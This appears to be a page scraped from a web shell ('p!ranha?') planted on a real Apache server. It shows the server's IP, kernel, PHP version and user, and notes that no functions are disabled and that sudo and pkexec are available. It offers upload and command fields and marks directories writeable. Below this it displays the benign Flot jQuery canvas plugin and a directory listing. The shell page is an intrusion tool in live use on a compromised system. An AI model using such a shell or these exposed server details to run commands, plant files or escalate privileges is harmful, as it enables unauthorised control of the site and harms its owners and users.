p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/admin/assets/vendor/flot/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/admin/assets/vendor/flot//jquery.flot.canvas.min.js
/* Javascript plotting library for jQuery, version 0.8.3.

Copyright (c) 2007-2014 IOLA and Ole Laursen.
Licensed under the MIT license.

*/
(function($){var options={canvas:true};var render,getTextInfo,addText;var hasOwnProperty=Object.prototype.hasOwnProperty;function init(plot,classes){var Canvas=classes.Canvas;if(render==null){getTextInfo=Canvas.prototype.getTextInfo,addText=Canvas.prototype.addText,render=Canvas.prototype.render}Canvas.prototype.render=function(){if(!plot.getOptions().canvas){return render.call(this)}var context=this.context,cache=this._textCache;context.save();context.textBaseline="middle";for(var layerKey in cache){if(hasOwnProperty.call(cache,layerKey)){var layerCache=cache[layerKey];for(var styleKey in layerCache){if(hasOwnProperty.call(layerCache,styleKey)){var styleCache=layerCache[styleKey],updateStyles=true;for(var key in styleCache){if(hasOwnProperty.call(styleCache,key)){var info=styleCache[key],positions=info.positions,lines=info.lines;if(updateStyles){context.fillStyle=info.font.color;context.font=info.font.definition;updateStyles=false}for(var i=0,position;position=positions[i];i++){if(position.active){for(var j=0,line;line=position.lines[j];j++){context.fillText(lines[j].text,line[0],line[1])}}else{positions.splice(i--,1)}}if(positions.length==0){delete styleCache[key]}}}}}}}context.restore()};Canvas.prototype.getTextInfo=function(layer,text,font,angle,width){if(!plot.getOptions().canvas){return getTextInfo.call(this,layer,text,font,angle,width)}var textStyle,layerCache,styleCache,info;text=""+text;if(typeof font==="object"){textStyle=font.style+" "+font.variant+" "+font.weight+" "+font.size+"px "+font.family}else{textStyle=font}layerCache=this._textCache[layer];if(layerCache==null){layerCache=this._textCache[layer]={}}styleCache=layerCache[textStyle];if(styleCache==null){styleCache=layerCache[textStyle]={}}info=styleCache[text];if(info==null){var context=this.context;if(typeof font!=="object"){var element=$("<div>&nbsp;</div>").css("position","absolute").addClass(typeof font==="string"?font:null).appendTo(this.getTextLayer(layer));font={lineHeight:element.height(),style:element.css("font-style"),variant:element.css("font-variant"),weight:element.css("font-weight"),family:element.css("font-family"),color:element.css("color")};font.size=element.css("line-height",1).height();element.remove()}textStyle=font.style+" "+font.variant+" "+font.weight+" "+font.size+"px "+font.family;info=styleCache[text]={width:0,height:0,positions:[],lines:[],font:{definition:textStyle,color:font.color}};context.save();context.font=textStyle;var lines=(text+"").replace(/<br ?\/?>|\r\n|\r/g,"\n").split("\n");for(var i=0;i<lines.length;++i){var lineText=lines[i],measured=context.measureText(lineText);info.width=Math.max(measured.width,info.width);info.height+=font.lineHeight;info.lines.push({text:lineText,width:measured.width,height:font.lineHeight})}context.restore()}return info};Canvas.prototype.addText=function(layer,x,y,text,font,angle,width,halign,valign){if(!plot.getOptions().canvas){return addText.call(this,layer,x,y,text,font,angle,width,halign,valign)}var info=this.getTextInfo(layer,text,font,angle,width),positions=info.positions,lines=info.lines;y+=info.height/lines.length/2;if(valign=="middle"){y=Math.round(y-info.height/2)}else if(valign=="bottom"){y=Math.round(y-info.height)}else{y=Math.round(y)}if(!!(window.opera&&window.opera.version().split(".")[0]<12)){y-=2}for(var i=0,position;position=positions[i];i++){if(position.x==x&&position.y==y){position.active=true;return}}position={active:true,lines:[],x:x,y:y};positions.push(position);for(var i=0,line;line=lines[i];i++){if(halign=="center"){position.lines.push([Math.round(x-line.width/2),y])}else if(halign=="right"){position.lines.push([Math.round(x-line.width),y])}else{position.lines.push([Math.round(x),y])}y+=line.height}}}$.plot.plugins.push({init:init,options:options,name:"canvas",version:"1.0"})})(jQuery);
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:53:05
1000 / 1000
0755
examples
--
December 21 2023 09:50:09
1000 / 1000
0755
API.md
53.779 KB
January 13 2024 08:46:46
1000 / 1000
0755
CONTRIBUTING.md
3.262 KB
January 13 2024 08:46:46
1000 / 1000
0755
FAQ.md
3.234 KB
January 13 2024 08:46:47
1000 / 1000
0755
LICENSE.txt
1.065 KB
January 13 2024 08:46:50
1000 / 1000
0755
Makefile
0.29 KB
January 13 2024 08:46:50
1000 / 1000
0755
NEWS.md
40.348 KB
January 13 2024 08:46:50
1000 / 1000
0755
PLUGINS.md
4.378 KB
January 13 2024 08:46:50
1000 / 1000
0755
README.md
3.801 KB
January 13 2024 08:46:50
1000 / 1000
0755
excanvas.js
42.354 KB
January 13 2024 08:46:46
1000 / 1000
0755
excanvas.min.js
18.861 KB
January 13 2024 08:46:46
1000 / 1000
0755
jquery.colorhelpers.js
6.183 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.colorhelpers.min.js
3.061 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.canvas.js
9.711 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.canvas.min.js
3.866 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.categories.js
6.077 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.categories.min.js
2.543 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.crosshair.js
5.464 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.crosshair.min.js
2.117 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.errorbars.js
12.663 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.errorbars.min.js
5.331 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.fillbetween.js
5.354 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.fillbetween.min.js
2.261 KB
January 13 2024 08:46:47
1000 / 1000
0755
jquery.flot.image.js
7.423 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.image.min.js
2.626 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.js
123.183 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.min.js
51.731 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.navigate.js
14.221 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.navigate.min.js
6.42 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.pie.js
24.052 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.pie.min.js
11.903 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.resize.js
3.294 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.resize.min.js
2.295 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.selection.js
13.185 KB
January 13 2024 08:46:48
1000 / 1000
0755
jquery.flot.selection.min.js
5.153 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.stack.js
7.107 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.stack.min.js
2.413 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.symbol.js
2.516 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.symbol.min.js
1.165 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.threshold.js
4.514 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.threshold.min.js
1.803 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.time.js
11.914 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.flot.time.min.js
6.735 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.js
269.071 KB
January 13 2024 08:46:49
1000 / 1000
0755
jquery.min.js
138.972 KB
January 13 2024 08:46:49
1000 / 1000
0755